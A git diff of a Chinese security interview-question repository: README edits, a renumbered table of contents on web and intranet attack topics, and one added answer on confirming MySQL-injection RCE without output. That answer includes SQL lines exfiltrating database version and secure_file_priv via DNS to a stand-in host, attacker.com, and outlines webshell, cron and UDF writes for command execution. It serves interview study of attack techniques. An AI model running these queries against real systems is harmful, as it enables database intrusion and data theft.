||||||
|
- **防御**:现代 JWT 库默认禁用 `none`,但配置错误可能启用
|
||||||
@@ -1 +0,0 @@
|
|||||||
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
|
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
### `%00` 绕过的原理是什么
|
||||||
|
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
### 无回显、MySQL 5.7 以下、wait_timeout 极短的情况下怎么快速验证 RCE
|
||||||
|
|
||||||
|
要最终执行系统命令,通常需要满足以下条件之一:
|
||||||
|
|
||||||
|
1. **文件写入权限 + 知道可写 Web 路径**:通过`INTO OUTFILE`写入Webshell,再通过 HTTP 访问触发命令执行
|
||||||
|
2. **文件写入权限 + 计划任务/启动项**:写入计划任务或启动脚本,等待系统定时或重启时执行
|
||||||
|
3. **数据库扩展(UDF)**:拥有 `FILE` 权限且插件目录可写,加载自定义函数执行系统命令
|
||||||
|
4. **MySQL 日志功能**:开启 general log 并将查询写入 Web 目录,生成包含代码的日志文件(需满足写权限)
|
||||||
|
|
||||||
|
**1. 验证数据库出网能力**
|
||||||
|
|
||||||
|
利用 `LOAD_FILE()` 支持 UNC 路径的特性(MySQL 中 `load_file()` 可访问 `\\\\IP\\share`,触发 SMB 请求),将数据作为子域名发送至攻击者控制的 DNS 服务器
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@version), '.attacker.com\\test'));
|
||||||
|
```
|
||||||
|
|
||||||
|
若攻击者收到 DNS 解析请求,则证明:
|
||||||
|
|
||||||
|
- 数据库可以出网
|
||||||
|
- 数据库版本已知
|
||||||
|
- 数据库用户拥有 `FILE` 权限(因为 `LOAD_FILE` 需要 `FILE` 权限)
|
||||||
|
|
||||||
|
**2. 探测`secure_file_priv`设置**
|
||||||
|
|
||||||
|
继续利用 `LOAD_FILE` 将 `secure_file_priv` 的值带出:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@global.secure_file_priv), '.attacker.com\\priv'));
|
||||||
|
```
|
||||||
|
|
||||||
|
- 如果收到 `空.attacker.com`,表示 `secure_file_priv` 为空,允许任意路径写入
|
||||||
|
- 如果收到如 `/var/lib/mysql-files.attacker.com`,则只允许该目录
|
||||||
|
- 如果没有收到请求,则可能是 `NULL`,需进一步确认(可尝试写入测试文件后验证)
|
||||||
|
|
||||||
|
**3. 探测可写目录**
|
||||||
|
|
||||||
|
若 `secure_file_priv` 允许写入,需要找到一个可写且后续能触发命令的目录。常见试探目标:
|
||||||
|
|
||||||
|
- **Web 根目录**:尝试写入一个无害测试文件(如`test.txt`),然后通过 HTTP 访问确认
|
||||||
|
- **系统临时目录**(如 `/tmp`、`C:\Windows\Temp`):可写但通常无法直接触发命令,除非配合其他漏洞
|
||||||
|
- **计划任务目录**(如 `/etc/cron.d/`、`C:\Windows\Tasks`):写入后等待系统执行
|
||||||
|
|
||||||
|
**4. 验证 UDF 可能性**
|
||||||
|
|
||||||
|
如果无法写入计划任务或Web路径,但数据库版本较低且为 root,可尝试 UDF。需先获取插件目录
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT @@plugin_dir;
|
||||||
|
```
|
||||||
|
|
||||||
|
可通过 OOB 带出
|
||||||
|
|
||||||
|
如果插件目录可写,则可写入UDF库(需先转换为十六进制)并创建函数执行命令
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,9 +1,7 @@
|
|||||||
# 全网首发!!!最全的网安面试题附参考答案(涵盖护网、红队、逆向、密码学、二进制)
|
# 全网首发!!!最全的网安面试题附参考答案(涵盖护网、红队、逆向、密码学、二进制、AI、区块链)
|
||||||
|
|
||||||
GitHub 地址:https://github.com/duckpigdog/Sec-Interview
|
GitHub 地址:https://github.com/duckpigdog/Sec-Interview
|
||||||
|
|
||||||
在线浏览:http://113.45.17.228:4000
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
||||||
|
|
||||||
HR:请问…………
|
HR:请问…………
|
||||||
@@ -12,7 +10,7 @@ HR:请问…………
|
|||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
(Summary.md 是目录噢!!)
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过**微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
如果您也愿意参与本项目投稿面试题,欢迎提交你的 pr 请求。作者微信:**XR3327026244**
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
**🙏 特别感谢名单**
|
||||||
|
|
||||||
@@ -41,6 +39,6 @@ HR:请问…………
|
|||||||
- [YaYaLiou 网安](https://www.yuque.com/yayaliou/efr8d4/gmbgyxy16urr665z?singleDoc#)
|
- [YaYaLiou 网安](https://www.yuque.com/yayaliou/efr8d4/gmbgyxy16urr665z?singleDoc#)
|
||||||
- [zero](https://forum.butian.net/people/25569)
|
- [zero](https://forum.butian.net/people/25569)
|
||||||
- **星盟安全-namename123**
|
- **星盟安全-namename123**
|
||||||
|
- **H1sec**
|
||||||
|
|
||||||
添加友链请加上方微信
|
添加友链请加上方微信
|
||||||
|
|
||||||
|
|||||||
+356
-342
@@ -1,4 +1,4 @@
|
|||||||
# 目录
|
目录
|
||||||
|
|
||||||
- [前言](README.md)
|
- [前言](README.md)
|
||||||
- [1. 信息收集](Chapter1/README.md)
|
- [1. 信息收集](Chapter1/README.md)
|
||||||
@@ -32,344 +32,358 @@
|
|||||||
- [1.28 怎么收集主机上的所有有关密码的敏感信息](Chapter1/1-28.md)
|
- [1.28 怎么收集主机上的所有有关密码的敏感信息](Chapter1/1-28.md)
|
||||||
- [1.29 Web 配置文件信息怎么收集](Chapter1/1-29.md)
|
- [1.29 Web 配置文件信息怎么收集](Chapter1/1-29.md)
|
||||||
- [1.30 抓取到域内 Windows 主机的 Wi-Fi 密码有什么利用思路](Chapter1/1-30.md)
|
- [1.30 抓取到域内 Windows 主机的 Wi-Fi 密码有什么利用思路](Chapter1/1-30.md)
|
||||||
- [1.31 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比,在隐蔽性和灵活性上的优势和劣势](Chapter1/1-31.md)
|
- [1.31 如果目标站点开启了 WAF 或对高频扫描进行了封禁,你会怎么获取敏感路径](Chapter1/1-31.md)
|
||||||
- [1.32 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测](Chapter1/1-32.md)
|
- [2. SQL 注入](Chapter4/README.md)
|
||||||
- [2. XSS](Chapter2/README.md)
|
- [2.1 过滤逗号的 SQL 注入如何绕过](Chapter4/4-1.md)
|
||||||
- [2.1 输出到 href 属性的 XSS 如何防御](Chapter2/2-1.md)
|
- [2.2 SQL 报错注入函数有哪些](Chapter4/4-2.md)
|
||||||
- [2.2 XSS 绕过方式](Chapter2/2-2.md)
|
- [2.3 SQL 延时盲注 sleep() 被禁用怎么绕过](Chapter4/4-3.md)
|
||||||
- [2.3 XSS 利用方式](Chapter2/2-3.md)
|
- [2.4 SQL 注入怎么写入 WebShell](Chapter4/4-4.md)
|
||||||
- [2.4 XSS 怎么打内网](Chapter2/2-4.md)
|
- [2.5 宽字节注入漏洞原理](Chapter4/4-5.md)
|
||||||
- [2.5 XSS 如何绕过 HttpOnly 获取 Cookie](Chapter2/2-5.md)
|
- [2.6 二次注入漏洞原理](Chapter4/4-6.md)
|
||||||
- [2.6 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制](Chapter2/2-6.md)
|
- [2.7 堆叠注入漏洞原理](Chapter4/4-7.md)
|
||||||
- [3. CSRF](Chapter3/README.md)
|
- [2.8 SQLMap 参数 level 与 risk 区别](Chapter4/4-8.md)
|
||||||
- [3.1 SameSite 防御 CSRF 的原理](Chapter3/3-1.md)
|
- [2.9 MySQL 提权方式有哪些](Chapter4/4-9.md)
|
||||||
- [3.2 JSON 格式的 CSRF 如何防御](Chapter3/3-2.md)
|
- [2.10 MSSQL 的 xp_cmdshell() 函数被禁用怎么绕过](Chapter4/4-10.md)
|
||||||
- [3.3 Ajax 发送 POST 请求会发几个数据包](Chapter3/3-3.md)
|
- [2.11 MySQL 5.0 以上和 5.0 以下的区别](Chapter4/4-11.md)
|
||||||
- [4. SQL 注入](Chapter4/README.md)
|
- [2.12 SQL 注入 outfile() 被过滤怎么绕过](Chapter4/4-12.md)
|
||||||
- [4.1 过滤逗号的 SQL 注入如何绕过](Chapter4/4-1.md)
|
- [2.13 SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过](Chapter4/4-13.md)
|
||||||
- [4.2 SQL 报错注入函数有哪些](Chapter4/4-2.md)
|
- [2.14 SQL 盲注 if() 函数被过滤怎么绕过](Chapter4/4-14.md)
|
||||||
- [4.3 SQL 延时盲注 sleep() 被禁用怎么绕过](Chapter4/4-3.md)
|
- [2.15 SQL 注入无回显利用 DNSLog 如何构造](Chapter4/4-15.md)
|
||||||
- [4.4 SQL 注入怎么写入 WebShell](Chapter4/4-4.md)
|
- [2.16 and or 被过滤怎么绕过](Chapter4/4-16.md)
|
||||||
- [4.5 宽字节注入漏洞原理](Chapter4/4-5.md)
|
- [2.17 SQLMap 自带脚本有哪些](Chapter4/4-17.md)
|
||||||
- [4.6 二次注入漏洞原理](Chapter4/4-6.md)
|
- [2.18 扫出后缀为 .asp 的数据库文件,访问乱码如何利用](Chapter4/4-18.md)
|
||||||
- [4.7 堆叠注入漏洞原理](Chapter4/4-7.md)
|
- [2.19 找到一个注入点怎么判断对方什么数据库](Chapter4/4-19.md)
|
||||||
- [4.8 SQLMap 参数 level 与 risk 区别](Chapter4/4-8.md)
|
- [2.20 单引号被过滤怎么绕过](Chapter4/4-20.md)
|
||||||
- [4.9 MySQL 提权方式有哪些](Chapter4/4-9.md)
|
- [2.21 MySQL 一个 @ 和两个 @ 的区别](Chapter4/4-21.md)
|
||||||
- [4.10 MSSQL 的 xp_cmdshell() 函数被禁用怎么绕过](Chapter4/4-10.md)
|
- [2.22 为什么 MSSQL 存储过程可以执行命令](Chapter4/4-22.md)
|
||||||
- [4.11 MySQL 5.0 以上和 5.0 以下的区别](Chapter4/4-11.md)
|
- [2.23 如果想通过 MSSQL 上传文件需要开启哪个存储过程的权限](Chapter4/4-23.md)
|
||||||
- [4.12 SQL 注入 outfile() 被过滤怎么绕过](Chapter4/4-12.md)
|
- [2.24 无回显、MySQL 5.7 以下、wait_timeout 极短的情况下怎么快速验证 RCE](Chapter4/4-24.md)
|
||||||
- [4.13 SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过](Chapter4/4-13.md)
|
- [3. XSS](Chapter2/README.md)
|
||||||
- [4.14 SQL 盲注 if() 函数被过滤怎么绕过](Chapter4/4-14.md)
|
- [3.1 输出到 href 属性的 XSS 如何防御](Chapter2/2-1.md)
|
||||||
- [4.15 SQL 注入无回显利用 DNSLog 如何构造](Chapter4/4-15.md)
|
- [3.2 XSS 绕过方式](Chapter2/2-2.md)
|
||||||
- [4.16 and or 被过滤怎么绕过](Chapter4/4-16.md)
|
- [3.3 XSS 利用方式](Chapter2/2-3.md)
|
||||||
- [4.17 SQLMap 自带脚本有哪些](Chapter4/4-17.md)
|
- [3.4 XSS 怎么打内网](Chapter2/2-4.md)
|
||||||
- [4.18 扫出后缀为 .asp 的数据库文件,访问乱码如何利用](Chapter4/4-18.md)
|
- [3.5 XSS 如何绕过 HttpOnly 获取 Cookie](Chapter2/2-5.md)
|
||||||
- [4.19 找到一个注入点怎么判断对方什么数据库](Chapter4/4-19.md)
|
- [3.6 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制](Chapter2/2-6.md)
|
||||||
- [4.20 单引号被过滤怎么绕过](Chapter4/4-20.md)
|
- [3.7 反射型、存储型、DOM 型 XSS 的核心区别](Chapter2/2-7.md)
|
||||||
- [4.21 MySQL 一个 @ 和两个 @ 的区别](Chapter4/4-21.md)
|
- [3.8 为什么说 DOM XSS 对传统 WAF 基本免疫](Chapter2/2-8.md)
|
||||||
- [4.22 为什么 MSSQL 存储过程可以执行命令](Chapter4/4-22.md)
|
- [3.9 如果你发现一个输入点最终进入了 `<textarea>`,你是直接放弃,还是继续深入?为什么?](Chapter2/2-9.md)
|
||||||
- [4.23 如果想通过 MSSQL 上传文件需要开启哪个存储过程的权限](Chapter4/4-23.md)
|
- [3.10 为什么很多 XSS 在 Chrome 可以复现,但在 Firefox 不行?你如何判断这是漏洞问题还是浏览器差异?](Chapter2/2-10.md)
|
||||||
- [5. 横向移动](Chapter5/README.md)
|
- [3.11 黑名单拦截了所有常见标签和事件,但页面仍然需要支持富文本渲染,你会从哪些方向尝试突破?](Chapter2/2-11.md)
|
||||||
- [5.1 常见横向方法](Chapter5/5-1.md)
|
- [3.12 CSP 的绕过方式有哪些](Chapter2/2-12.md)
|
||||||
- [5.2 CS 上线不出网机器用到的什么类型的 Beacon](Chapter5/5-2.md)
|
- [4. CSRF](Chapter3/README.md)
|
||||||
- [5.3 PTT 有哪些攻击方法](Chapter5/5-3.md)
|
- [4.1 SameSite 防御 CSRF 的原理](Chapter3/3-1.md)
|
||||||
- [5.4 DCSync 的利用条件](Chapter5/5-4.md)
|
- [4.2 JSON 格式的 CSRF 如何防御](Chapter3/3-2.md)
|
||||||
- [5.5 横向渗透命令执行手段](Chapter5/5-5.md)
|
- [4.3 Ajax 发送 POST 请求会发几个数据包](Chapter3/3-3.md)
|
||||||
- [5.6 PTH、PTT、PTK 三者区别](Chapter5/5-6.md)
|
- [5. SSRF](Chapter10/README.md)
|
||||||
- [5.7 一台机器不能出网,如何把一个 exe 文件放到对应的目标机器上去](Chapter5/5-7.md)
|
- [5.1 SSRF 漏洞存在位置](Chapter10/10-1.md)
|
||||||
- [5.8 说说域内委派](Chapter5/5-8.md)
|
- [5.2 SSRF 漏洞绕过方法](Chapter10/10-2.md)
|
||||||
- [5.9 怎么定位域管曾经登录哪些机器](Chapter5/5-9.md)
|
- [5.3 SSRF 漏洞利用方式](Chapter10/10-3.md)
|
||||||
- [5.10 现在在域外有一台工作组机器的权限但没有域用户且无法直接通过漏洞进入域内,请问这种情况怎么进入域中找到域控](Chapter5/5-10.md)
|
- [5.4 SSRF 如何攻击内网服务](Chapter10/10-4.md)
|
||||||
- [5.11 利用 NTLM Relay 配合 ADCS 这个漏洞的情况需要什么条件](Chapter5/5-11.md)
|
- [5.5 如何判断 SSRF 的流量是否攻击成功](Chapter10/10-5.md)
|
||||||
- [5.12 继上题,Responder 应该开在哪台机器上,为什么](Chapter5/5-12.md)
|
- [5.6 SSRF 怎么用 Redis 写 Shell](Chapter10/10-6.md)
|
||||||
- [5.13 继上题,为什么 ADCS 这个漏洞能获取域管理员权限,原理是什么](Chapter5/5-13.md)
|
- [6. XXE](Chapter11/README.md)
|
||||||
- [5.14 如果拿到了一套 vCenter 的权限,如何去进一步深入利用](Chapter5/5-14.md)
|
- [6.1 XXE 漏洞利用方式](Chapter11/11-1.md)
|
||||||
- [5.15 拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办](Chapter5/5-15.md)
|
- [6.2 XXE 盲注思路](Chapter11/11-2.md)
|
||||||
- [5.16 Kerberos 的原理](Chapter5/5-16.md)
|
- [6.3 PCDATA 和 CDATA 的区别](Chapter11/11-3.md)
|
||||||
- [5.17 Flannel、Calico 和 Cilium 有什么区别](Chapter5/5-17.md)
|
- [7. 文件上传漏洞](Chapter12/README.md)
|
||||||
- [6. 中间件](Chapter6/README.md)
|
- [7.1 文件上传漏洞绕过方法](Chapter12/12-1.md)
|
||||||
- [6.1 Fastjson 漏洞原理](Chapter6/6-1.md)
|
- [8. RCE](Chapter13/README.md)
|
||||||
- [6.2 Log4j 漏洞原理](Chapter6/6-2.md)
|
- [8.1 代码执行、命令执行的函数有哪些](Chapter13/13-1.md)
|
||||||
- [6.3 Shiro 反序列化的形成原因及利用链](Chapter6/6-3.md)
|
- [8.2 正向 Shell 和反向 Shell 区别](Chapter13/13-2.md)
|
||||||
- [6.4 Shiro 550 721 区别](Chapter6/6-4.md)
|
- [8.3 如何从非交互的 Shell 提升为交互 Shell](Chapter13/13-3.md)
|
||||||
- [6.5 FastJSON 不出网利用方式](Chapter6/6-5.md)
|
- [8.4 PHP disable_functions() 绕过方法](Chapter13/13-4.md)
|
||||||
- [6.6 Windows 和 Linux 利用 REDIS 的区别](Chapter6/6-6.md)
|
- [8.5 PHP 的 %00 截断的原理](Chapter13/13-5.md)
|
||||||
- [6.7 Nginx CRLF 注入原理](Chapter6/6-7.md)
|
- [8.6 站库分离怎么拿 Shell](Chapter13/13-6.md)
|
||||||
- [6.8 如何判断靶标是否使用 FastJSON](Chapter6/6-8.md)
|
- [8.7 LFI 怎么打 RCE](Chapter13/13-7.md)
|
||||||
- [6.9 如何判断靶标是否使用 Log4j](Chapter6/6-9.md)
|
- [9. 文件包含漏洞](Chapter16/README.md)
|
||||||
- [6.10 如何判断靶标是否使用 Shiro](Chapter6/6-10.md)
|
- [9.1 常用的协议有哪些](Chapter16/16-1.md)
|
||||||
- [6.11 Nacos 如何通过配置文件拿 Shell](Chapter6/6-11.md)
|
- [9.2 怎么 GetShell](Chapter16/16-2.md)
|
||||||
- [6.12 Nacos 不出网利用方式](Chapter6/6-12.md)
|
- [10. 任意文件读取漏洞](Chapter32/README.md)
|
||||||
- [6.13 .do 文件是哪种框架](Chapter6/6-13.md)
|
- [10.1 `%00` 绕过的原理是什么](Chapter32/32-1.md)
|
||||||
- [6.14 Shiro 有 Key 无链怎么利用](Chapter6/6-14.md)
|
- [11. 中间件](Chapter6/README.md)
|
||||||
- [6.15 Redis 主从复制原理](Chapter6/6-15.md)
|
- [11.1 Fastjson 漏洞原理](Chapter6/6-1.md)
|
||||||
- [6.16 phpMyAdmin 写 Shell 的方法](Chapter6/6-16.md)
|
- [11.2 Log4j 漏洞原理](Chapter6/6-2.md)
|
||||||
- [6.17 了解过中间件哪些解析漏洞](Chapter6/6-17.md)
|
- [11.3 Shiro 反序列化的形成原因及利用链](Chapter6/6-3.md)
|
||||||
- [6.18 Shiro 不出网怎么利用](Chapter6/6-18.md)
|
- [11.4 Shiro 550 721 区别](Chapter6/6-4.md)
|
||||||
- [6.19 JNDI 的解析流程和原理](Chapter6/6-19.md)
|
- [11.5 FastJSON 不出网利用方式](Chapter6/6-5.md)
|
||||||
- [6.20 runc 容器逃逸原理](Chapter6/6-20.md)
|
- [11.6 Windows 和 Linux 利用 REDIS 的区别](Chapter6/6-6.md)
|
||||||
- [6.21 JBoss 反序列化漏洞原理](Chapter6/6-21.md)
|
- [11.7 Nginx CRLF 注入原理](Chapter6/6-7.md)
|
||||||
- [6.22 XStreadm 反序列化漏洞原理](Chapter6/6-22.md)
|
- [11.8 如何判断靶标是否使用 FastJSON](Chapter6/6-8.md)
|
||||||
- [6.23 讲讲 Confluence RCE](Chapter6/6-23.md)
|
- [11.9 如何判断靶标是否使用 Log4j](Chapter6/6-9.md)
|
||||||
- [6.24 讲下 Spring 相关的 RCE 原理](Chapter6/6-24.md)
|
- [11.10 如何判断靶标是否使用 Shiro](Chapter6/6-10.md)
|
||||||
- [6.25 Log4j 如何绕过 trustURLCodebase](Chapter6/6-25.md)
|
- [11.11 Nacos 如何通过配置文件拿 Shell](Chapter6/6-11.md)
|
||||||
- [6.26 Fastjson 文件读写 gadget 是哪条,原理是什么](Chapter6/6-26.md)
|
- [11.12 Nacos 不出网利用方式](Chapter6/6-12.md)
|
||||||
- [6.27 Spring4shell 原理&检测&利用](Chapter6/6-27.md)
|
- [11.13 .do 文件是哪种框架](Chapter6/6-13.md)
|
||||||
- [6.28 Kubernetes 攻击思路](Chapter6/6-28.md)
|
- [11.14 Shiro 有 Key 无链怎么利用](Chapter6/6-14.md)
|
||||||
- [7. 蓝队防守](Chapter7/README.md)
|
- [11.15 Redis 主从复制原理](Chapter6/6-15.md)
|
||||||
- [7.1 内存马查杀思路](Chapter7/7-1.md)
|
- [11.16 phpMyAdmin 写 Shell 的方法](Chapter6/6-16.md)
|
||||||
- [7.2 Linux 日志存放位置](Chapter7/7-2.md)
|
- [11.17 了解过中间件哪些解析漏洞](Chapter6/6-17.md)
|
||||||
- [7.3 常见 Windows 事件 ID](Chapter7/7-3.md)
|
- [11.18 Shiro 不出网怎么利用](Chapter6/6-18.md)
|
||||||
- [7.4 为什么 aspx 木马的权限会比 asp 木马的权限更高](Chapter7/7-4.md)
|
- [11.19 JNDI 的解析流程和原理](Chapter6/6-19.md)
|
||||||
- [7.5 如何判断 Log4j 攻击成功](Chapter7/7-5.md)
|
- [11.20 runc 容器逃逸原理](Chapter6/6-20.md)
|
||||||
- [7.6 给你一个告警的内网 IP,怎么快速定位到他在哪栋楼哪层](Chapter7/7-6.md)
|
- [11.21 JBoss 反序列化漏洞原理](Chapter6/6-21.md)
|
||||||
- [7.7 SQL 注入防御方法](Chapter7/7-7.md)
|
- [11.22 XStreadm 反序列化漏洞原理](Chapter6/6-22.md)
|
||||||
- [7.8 设备上数万条告警怎么快速找到攻击成功的告警](Chapter7/7-8.md)
|
- [11.23 讲讲 Confluence RCE](Chapter6/6-23.md)
|
||||||
- [7.9 WebShell 查杀后仍有流量怎么办](Chapter7/7-9.md)
|
- [11.24 讲下 Spring 相关的 RCE 原理](Chapter6/6-24.md)
|
||||||
- [7.10 拿到攻击者 IP 怎么溯源](Chapter7/7-10.md)
|
- [11.25 Log4j 如何绕过 trustURLCodebase](Chapter6/6-25.md)
|
||||||
- [7.11 内网报警处理方式](Chapter7/7-11.md)
|
- [11.26 Fastjson 文件读写 gadget 是哪条,原理是什么](Chapter6/6-26.md)
|
||||||
- [7.12 怎样从日志找 WebShell 位置](Chapter7/7-12.md)
|
- [11.27 Spring4shell 原理&检测&利用](Chapter6/6-27.md)
|
||||||
- [7.13 常见日志分析工具](Chapter7/7-13.md)
|
- [11.28 Kubernetes 攻击思路](Chapter6/6-28.md)
|
||||||
- [7.14 网页挂马排查思路](Chapter7/7-14.md)
|
- [12. 反序列化漏洞](Chapter14/README.md)
|
||||||
- [7.15 XSS 防御方法](Chapter7/7-15.md)
|
- [12.1 CC1、CC6 区别](Chapter14/14-1.md)
|
||||||
- [7.16 CSRF 防御方法](Chapter7/7-16.md)
|
